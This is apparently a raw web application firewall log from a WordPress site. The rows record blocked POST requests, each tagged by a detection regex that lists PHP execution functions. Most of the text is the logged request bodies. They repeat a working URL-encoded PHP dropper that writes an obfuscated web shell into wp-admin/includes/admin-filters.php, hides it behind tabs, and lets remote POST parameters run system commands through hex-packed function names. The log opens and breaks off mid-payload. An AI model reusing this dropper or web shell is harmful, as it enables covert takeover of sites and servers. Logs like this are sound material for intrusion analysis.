%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:04","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGSVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:7035\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nLR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:07","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:7035\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD1NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nCP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk